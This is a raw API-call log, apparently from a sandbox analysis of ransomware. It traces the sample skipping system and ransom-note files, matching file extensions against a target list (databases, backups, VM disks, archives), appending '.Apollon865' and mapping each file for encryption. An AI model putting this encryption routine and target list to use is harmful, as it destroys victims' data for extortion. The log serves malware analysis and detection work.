	[0065.156] lstrcmpiW (lpString1="cdt", lpString2="mdb") returned -1
	[0065.156] lstrlenW (lpString="sql") returned 3
	[0065.156] lstrcmpiW (lpString1="cdt", lpString2="sql") returned -1
	[0065.156] lstrlenW (lpString="sqlite") returned 6
	[0065.156] lstrcmpiW (lpString1=".accdt", lpString2="sqlite") returned -1
	[0065.156] lstrlenW (lpString="sqlite3") returned 7
	[0065.156] lstrcmpiW (lpString1="p.accdt", lpString2="sqlite3") returned -1
	[0065.156] lstrlenW (lpString="sqlitedb") returned 8
	[0065.156] lstrcmpiW (lpString1="op.accdt", lpString2="sqlitedb") returned -1
	[0065.156] lstrlenW (lpString="xml") returned 3
	[0065.156] lstrcmpiW (lpString1="cdt", lpString2="xml") returned -1
	[0065.156] lstrlenW (lpString="$er") returned 3
	[0065.156] lstrcmpiW (lpString1="cdt", lpString2="$er") returned 1
	[0065.156] lstrlenW (lpString="4dd") returned 3
	[0065.156] lstrcmpiW (lpString1="cdt", lpString2="4dd") returned 1
	[0065.156] lstrlenW (lpString="4dl") returned 3
	[0065.156] lstrcmpiW (lpString1="cdt", lpString2="4dl") returned 1
	[0065.156] lstrlenW (lpString="^^^") returned 3
	[0065.156] lstrcmpiW (lpString1="cdt", lpString2="^^^") returned 1
	[0065.156] lstrlenW (lpString="abs") returned 3
	[0065.156] lstrcmpiW (lpString1="cdt", lpString2="abs") returned 1
	[0065.156] lstrlenW (lpString="abx") returned 3
	[0065.156] lstrcmpiW (lpString1="cdt", lpString2="abx") returned 1
	[0065.156] lstrlenW (lpString="accdb") returned 5
	[0065.156] lstrcmpiW (lpString1="accdt", lpString2="accdb") returned 1
	[0065.157] lstrlenW (lpString="accdc") returned 5
	[0065.157] lstrcmpiW (lpString1="accdt", lpString2="accdc") returned 1
	[0065.157] lstrlenW (lpString="accde") returned 5
	[0065.157] lstrcmpiW (lpString1="accdt", lpString2="accde") returned 1
	[0065.157] lstrlenW (lpString="accdr") returned 5
	[0065.157] lstrcmpiW (lpString1="accdt", lpString2="accdr") returned 1
	[0065.157] lstrlenW (lpString="accdt") returned 5
	[0065.157] lstrcmpiW (lpString1="accdt", lpString2="accdt") returned 0
	[0065.157] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2 Top.accdt.Apollon865") returned 83
	[0065.157] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2 Top.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2 top.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2 Top.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2 top.accdt.apollon865"), dwFlags=0x1) returned 1
	[0065.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2 Top.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2 top.accdt.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0065.158] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=25550) returned 1
	[0065.158] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0065.159] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0065.159] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0065.159] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0065.159] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0065.159] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.160] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x66d0, lpName=0x0) returned 0x150
	[0065.161] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x66d0) returned 0x100000
	[0065.163] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0065.164] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0065.164] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.164] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0065.164] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0065.164] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0065.164] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0065.164] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0065.164] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0065.164] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0065.164] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0065.164] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0065.164] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0065.164] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0065.165] CloseHandle (hObject=0x150) returned 1
	[0065.165] CloseHandle (hObject=0x118) returned 1
	[0065.165] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0065.165] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0065.165] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0065.165] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57c9bb00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x57c9bb00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x4a87, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Comments.accdt", cAlternateFileName="COMMEN~1.ACC")) returned 1
	[0065.165] lstrcmpiW (lpString1="Comments.accdt", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.165] lstrcmpiW (lpString1="Comments.accdt", lpString2="Apollon865.txt.exe") returned 1
	[0065.165] lstrcmpiW (lpString1="Comments.accdt", lpString2=".") returned 1
	[0065.165] lstrcmpiW (lpString1="Comments.accdt", lpString2="..") returned 1
	[0065.165] lstrcmpiW (lpString1="Comments.accdt", lpString2="windows") returned -1
	[0065.165] lstrcmpiW (lpString1="Comments.accdt", lpString2="bootmgr") returned 1
	[0065.165] lstrcmpiW (lpString1="Comments.accdt", lpString2="temp") returned -1
	[0065.165] lstrcmpiW (lpString1="Comments.accdt", lpString2="pagefile.sys") returned -1
	[0065.165] lstrcmpiW (lpString1="Comments.accdt", lpString2="boot") returned 1
	[0065.165] lstrcmpiW (lpString1="Comments.accdt", lpString2="ids.txt") returned -1
	[0065.165] lstrcmpiW (lpString1="Comments.accdt", lpString2="ntuser.dat") returned -1
	[0065.165] lstrcmpiW (lpString1="Comments.accdt", lpString2="perflogs") returned -1
	[0065.166] lstrcmpiW (lpString1="Comments.accdt", lpString2="MSBuild") returned -1
	[0065.166] lstrlenW (lpString="Comments.accdt") returned 14
	[0065.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2 Top.accdt") returned 72
	[0065.166] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="Comments.accdt" | out: lpString1="Comments.accdt") returned="Comments.accdt"
	[0065.166] lstrlenW (lpString="Comments.accdt") returned 14
	[0065.166] lstrlenW (lpString="Apollon865") returned 10
	[0065.166] lstrcmpiW (lpString1="ents.accdt", lpString2="Apollon865") returned 1
	[0065.166] lstrlenW (lpString=".dll") returned 4
	[0065.166] lstrcmpiW (lpString1="Comments.accdt", lpString2=".dll") returned 1
	[0065.166] lstrlenW (lpString=".lnk") returned 4
	[0065.166] lstrcmpiW (lpString1="Comments.accdt", lpString2=".lnk") returned 1
	[0065.166] lstrlenW (lpString=".ini") returned 4
	[0065.166] lstrcmpiW (lpString1="Comments.accdt", lpString2=".ini") returned 1
	[0065.166] lstrlenW (lpString=".sys") returned 4
	[0065.166] lstrcmpiW (lpString1="Comments.accdt", lpString2=".sys") returned 1
	[0065.166] lstrlenW (lpString="Comments.accdt") returned 14
	[0065.166] lstrlenW (lpString="bak") returned 3
	[0065.166] lstrcmpiW (lpString1="cdt", lpString2="bak") returned 1
	[0065.166] lstrlenW (lpString="ba_") returned 3
	[0065.166] lstrcmpiW (lpString1="cdt", lpString2="ba_") returned 1
	[0065.166] lstrlenW (lpString="dbb") returned 3
	[0065.166] lstrcmpiW (lpString1="cdt", lpString2="dbb") returned -1
	[0065.166] lstrlenW (lpString="vmdk") returned 4
	[0065.166] lstrcmpiW (lpString1="ccdt", lpString2="vmdk") returned -1
	[0065.166] lstrlenW (lpString="rar") returned 3
	[0065.166] lstrcmpiW (lpString1="cdt", lpString2="rar") returned -1
	[0065.166] lstrlenW (lpString="zip") returned 3
	[0065.166] lstrcmpiW (lpString1="cdt", lpString2="zip") returned -1
	[0065.166] lstrlenW (lpString="tgz") returned 3
	[0065.166] lstrcmpiW (lpString1="cdt", lpString2="tgz") returned -1
	[0065.166] lstrlenW (lpString="vbox") returned 4
	[0065.166] lstrcmpiW (lpString1="ccdt", lpString2="vbox") returned -1
	[0065.166] lstrlenW (lpString="vdi") returned 3
	[0065.167] lstrcmpiW (lpString1="cdt", lpString2="vdi") returned -1
	[0065.167] lstrlenW (lpString="vhd") returned 3
	[0065.167] lstrcmpiW (lpString1="cdt", lpString2="vhd") returned -1
	[0065.167] lstrlenW (lpString="vhdx") returned 4
	[0065.167] lstrcmpiW (lpString1="ccdt", lpString2="vhdx") returned -1
	[0065.167] lstrlenW (lpString="avhd") returned 4
	[0065.167] lstrcmpiW (lpString1="ccdt", lpString2="avhd") returned 1
	[0065.167] lstrlenW (lpString="db") returned 2
	[0065.167] lstrcmpiW (lpString1="dt", lpString2="db") returned 1
	[0065.167] lstrlenW (lpString="db2") returned 3
	[0065.167] lstrcmpiW (lpString1="cdt", lpString2="db2") returned -1
	[0065.167] lstrlenW (lpString="db3") returned 3
	[0065.167] lstrcmpiW (lpString1="cdt", lpString2="db3") returned -1
	[0065.167] lstrlenW (lpString="dbf") returned 3
	[0065.167] lstrcmpiW (lpString1="cdt", lpString2="dbf") returned -1
	[0065.167] lstrlenW (lpString="mdf") returned 3
	[0065.167] lstrcmpiW (lpString1="cdt", lpString2="mdf") returned -1
	[0065.167] lstrlenW (lpString="mdb") returned 3
	[0065.167] lstrcmpiW (lpString1="cdt", lpString2="mdb") returned -1
	[0065.167] lstrlenW (lpString="sql") returned 3
	[0065.167] lstrcmpiW (lpString1="cdt", lpString2="sql") returned -1
	[0065.167] lstrlenW (lpString="sqlite") returned 6
	[0065.167] lstrcmpiW (lpString1=".accdt", lpString2="sqlite") returned -1
	[0065.167] lstrlenW (lpString="sqlite3") returned 7
	[0065.167] lstrcmpiW (lpString1="s.accdt", lpString2="sqlite3") returned -1
	[0065.167] lstrlenW (lpString="sqlitedb") returned 8
	[0065.167] lstrcmpiW (lpString1="ts.accdt", lpString2="sqlitedb") returned 1
	[0065.167] lstrlenW (lpString="xml") returned 3
	[0065.167] lstrcmpiW (lpString1="cdt", lpString2="xml") returned -1
	[0065.167] lstrlenW (lpString="$er") returned 3
	[0065.167] lstrcmpiW (lpString1="cdt", lpString2="$er") returned 1
	[0065.167] lstrlenW (lpString="4dd") returned 3
	[0065.167] lstrcmpiW (lpString1="cdt", lpString2="4dd") returned 1
	[0065.167] lstrlenW (lpString="4dl") returned 3
	[0065.167] lstrcmpiW (lpString1="cdt", lpString2="4dl") returned 1
	[0065.168] lstrlenW (lpString="^^^") returned 3
	[0065.168] lstrcmpiW (lpString1="cdt", lpString2="^^^") returned 1
	[0065.168] lstrlenW (lpString="abs") returned 3
	[0065.168] lstrcmpiW (lpString1="cdt", lpString2="abs") returned 1
	[0065.168] lstrlenW (lpString="abx") returned 3
	[0065.168] lstrcmpiW (lpString1="cdt", lpString2="abx") returned 1
	[0065.168] lstrlenW (lpString="accdb") returned 5
	[0065.168] lstrcmpiW (lpString1="accdt", lpString2="accdb") returned 1
	[0065.168] lstrlenW (lpString="accdc") returned 5
	[0065.168] lstrcmpiW (lpString1="accdt", lpString2="accdc") returned 1
	[0065.168] lstrlenW (lpString="accde") returned 5
	[0065.168] lstrcmpiW (lpString1="accdt", lpString2="accde") returned 1
	[0065.168] lstrlenW (lpString="accdr") returned 5
	[0065.168] lstrcmpiW (lpString1="accdt", lpString2="accdr") returned 1
	[0065.168] lstrlenW (lpString="accdt") returned 5
	[0065.168] lstrcmpiW (lpString1="accdt", lpString2="accdt") returned 0
	[0065.168] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Comments.accdt.Apollon865") returned 86
	[0065.168] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Comments.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\comments.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Comments.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\comments.accdt.apollon865"), dwFlags=0x1) returned 1
	[0065.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Comments.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\comments.accdt.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0065.169] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=19079) returned 1
	[0065.169] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0065.169] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0065.169] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0065.169] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0065.170] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0065.170] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.170] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4d90, lpName=0x0) returned 0x150
	[0065.172] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4d90) returned 0x100000
	[0065.173] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0065.174] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0065.174] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.174] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0065.174] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0065.174] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0065.174] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0065.174] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0065.174] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0065.174] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0065.174] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0065.174] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0065.174] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0065.174] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0065.175] CloseHandle (hObject=0x150) returned 1
	[0065.175] CloseHandle (hObject=0x118) returned 1
	[0065.175] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0065.175] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0065.175] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0065.175] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64e6aa00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64e6aa00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x4c444, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts.accdt", cAlternateFileName="CONTAC~1.ACC")) returned 1
	[0065.175] lstrcmpiW (lpString1="Contacts.accdt", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.175] lstrcmpiW (lpString1="Contacts.accdt", lpString2="Apollon865.txt.exe") returned 1
	[0065.175] lstrcmpiW (lpString1="Contacts.accdt", lpString2=".") returned 1
	[0065.175] lstrcmpiW (lpString1="Contacts.accdt", lpString2="..") returned 1
	[0065.175] lstrcmpiW (lpString1="Contacts.accdt", lpString2="windows") returned -1
	[0065.175] lstrcmpiW (lpString1="Contacts.accdt", lpString2="bootmgr") returned 1
	[0065.175] lstrcmpiW (lpString1="Contacts.accdt", lpString2="temp") returned -1
	[0065.175] lstrcmpiW (lpString1="Contacts.accdt", lpString2="pagefile.sys") returned -1
	[0065.175] lstrcmpiW (lpString1="Contacts.accdt", lpString2="boot") returned 1
	[0065.175] lstrcmpiW (lpString1="Contacts.accdt", lpString2="ids.txt") returned -1
	[0065.175] lstrcmpiW (lpString1="Contacts.accdt", lpString2="ntuser.dat") returned -1
	[0065.175] lstrcmpiW (lpString1="Contacts.accdt", lpString2="perflogs") returned -1
	[0065.176] lstrcmpiW (lpString1="Contacts.accdt", lpString2="MSBuild") returned -1
	[0065.176] lstrlenW (lpString="Contacts.accdt") returned 14
	[0065.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Comments.accdt") returned 75
	[0065.176] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="Contacts.accdt" | out: lpString1="Contacts.accdt") returned="Contacts.accdt"
	[0065.176] lstrlenW (lpString="Contacts.accdt") returned 14
	[0065.176] lstrlenW (lpString="Apollon865") returned 10
	[0065.176] lstrcmpiW (lpString1="acts.accdt", lpString2="Apollon865") returned -1
	[0065.176] lstrlenW (lpString=".dll") returned 4
	[0065.176] lstrcmpiW (lpString1="Contacts.accdt", lpString2=".dll") returned 1
	[0065.176] lstrlenW (lpString=".lnk") returned 4
	[0065.176] lstrcmpiW (lpString1="Contacts.accdt", lpString2=".lnk") returned 1
	[0065.176] lstrlenW (lpString=".ini") returned 4
	[0065.176] lstrcmpiW (lpString1="Contacts.accdt", lpString2=".ini") returned 1
	[0065.176] lstrlenW (lpString=".sys") returned 4
	[0065.176] lstrcmpiW (lpString1="Contacts.accdt", lpString2=".sys") returned 1
	[0065.176] lstrlenW (lpString="Contacts.accdt") returned 14
	[0065.176] lstrlenW (lpString="bak") returned 3
	[0065.176] lstrcmpiW (lpString1="cdt", lpString2="bak") returned 1
	[0065.176] lstrlenW (lpString="ba_") returned 3
	[0065.176] lstrcmpiW (lpString1="cdt", lpString2="ba_") returned 1
	[0065.176] lstrlenW (lpString="dbb") returned 3
	[0065.176] lstrcmpiW (lpString1="cdt", lpString2="dbb") returned -1
	[0065.176] lstrlenW (lpString="vmdk") returned 4
	[0065.176] lstrcmpiW (lpString1="ccdt", lpString2="vmdk") returned -1
	[0065.176] lstrlenW (lpString="rar") returned 3
	[0065.176] lstrcmpiW (lpString1="cdt", lpString2="rar") returned -1
	[0065.176] lstrlenW (lpString="zip") returned 3
	[0065.176] lstrcmpiW (lpString1="cdt", lpString2="zip") returned -1
	[0065.176] lstrlenW (lpString="tgz") returned 3
	[0065.176] lstrcmpiW (lpString1="cdt", lpString2="tgz") returned -1
	[0065.176] lstrlenW (lpString="vbox") returned 4
	[0065.176] lstrcmpiW (lpString1="ccdt", lpString2="vbox") returned -1
	[0065.176] lstrlenW (lpString="vdi") returned 3
	[0065.176] lstrcmpiW (lpString1="cdt", lpString2="vdi") returned -1
	[0065.176] lstrlenW (lpString="vhd") returned 3
	[0065.176] lstrcmpiW (lpString1="cdt", lpString2="vhd") returned -1
	[0065.177] lstrlenW (lpString="vhdx") returned 4
	[0065.177] lstrcmpiW (lpString1="ccdt", lpString2="vhdx") returned -1
	[0065.177] lstrlenW (lpString="avhd") returned 4
	[0065.177] lstrcmpiW (lpString1="ccdt", lpString2="avhd") returned 1
	[0065.177] lstrlenW (lpString="db") returned 2
	[0065.177] lstrcmpiW (lpString1="dt", lpString2="db") returned 1
	[0065.177] lstrlenW (lpString="db2") returned 3
	[0065.177] lstrcmpiW (lpString1="cdt", lpString2="db2") returned -1
	[0065.177] lstrlenW (lpString="db3") returned 3
	[0065.177] lstrcmpiW (lpString1="cdt", lpString2="db3") returned -1
	[0065.177] lstrlenW (lpString="dbf") returned 3
	[0065.177] lstrcmpiW (lpString1="cdt", lpString2="dbf") returned -1
	[0065.177] lstrlenW (lpString="mdf") returned 3
	[0065.177] lstrcmpiW (lpString1="cdt", lpString2="mdf") returned -1
	[0065.177] lstrlenW (lpString="mdb") returned 3
	[0065.177] lstrcmpiW (lpString1="cdt", lpString2="mdb") returned -1
	[0065.177] lstrlenW (lpString="sql") returned 3
	[0065.177] lstrcmpiW (lpString1="cdt", lpString2="sql") returned -1
	[0065.177] lstrlenW (lpString="sqlite") returned 6
	[0065.177] lstrcmpiW (lpString1=".accdt", lpString2="sqlite") returned -1
	[0065.177] lstrlenW (lpString="sqlite3") returned 7
	[0065.177] lstrcmpiW (lpString1="s.accdt", lpString2="sqlite3") returned -1
	[0065.177] lstrlenW (lpString="sqlitedb") returned 8
	[0065.177] lstrcmpiW (lpString1="ts.accdt", lpString2="sqlitedb") returned 1
	[0065.177] lstrlenW (lpString="xml") returned 3
	[0065.177] lstrcmpiW (lpString1="cdt", lpString2="xml") returned -1
	[0065.177] lstrlenW (lpString="$er") returned 3
	[0065.177] lstrcmpiW (lpString1="cdt", lpString2="$er") returned 1
	[0065.177] lstrlenW (lpString="4dd") returned 3
	[0065.177] lstrcmpiW (lpString1="cdt", lpString2="4dd") returned 1
	[0065.177] lstrlenW (lpString="4dl") returned 3
	[0065.177] lstrcmpiW (lpString1="cdt", lpString2="4dl") returned 1
	[0065.177] lstrlenW (lpString="^^^") returned 3
	[0065.178] lstrcmpiW (lpString1="cdt", lpString2="^^^") returned 1
	[0065.178] lstrlenW (lpString="abs") returned 3
	[0065.178] lstrcmpiW (lpString1="cdt", lpString2="abs") returned 1
	[0065.178] lstrlenW (lpString="abx") returned 3
	[0065.178] lstrcmpiW (lpString1="cdt", lpString2="abx") returned 1
	[0065.178] lstrlenW (lpString="accdb") returned 5
	[0065.178] lstrcmpiW (lpString1="accdt", lpString2="accdb") returned 1
	[0065.178] lstrlenW (lpString="accdc") returned 5
	[0065.178] lstrcmpiW (lpString1="accdt", lpString2="accdc") returned 1
	[0065.178] lstrlenW (lpString="accde") returned 5
	[0065.178] lstrcmpiW (lpString1="accdt", lpString2="accde") returned 1
	[0065.178] lstrlenW (lpString="accdr") returned 5
	[0065.178] lstrcmpiW (lpString1="accdt", lpString2="accdr") returned 1
	[0065.178] lstrlenW (lpString="accdt") returned 5
	[0065.178] lstrcmpiW (lpString1="accdt", lpString2="accdt") returned 0
	[0065.178] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Contacts.accdt.Apollon865") returned 86
	[0065.178] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Contacts.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\contacts.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Contacts.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\contacts.accdt.apollon865"), dwFlags=0x1) returned 1
	[0065.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Contacts.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\contacts.accdt.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0065.179] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=312388) returned 1
	[0065.179] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0065.179] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0065.179] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0065.179] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0065.180] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0065.180] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.180] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4c750, lpName=0x0) returned 0x150
	[0065.182] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4c750) returned 0x210000
	[0065.197] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0065.198] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0065.198] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.198] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0065.198] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0065.198] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0065.198] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
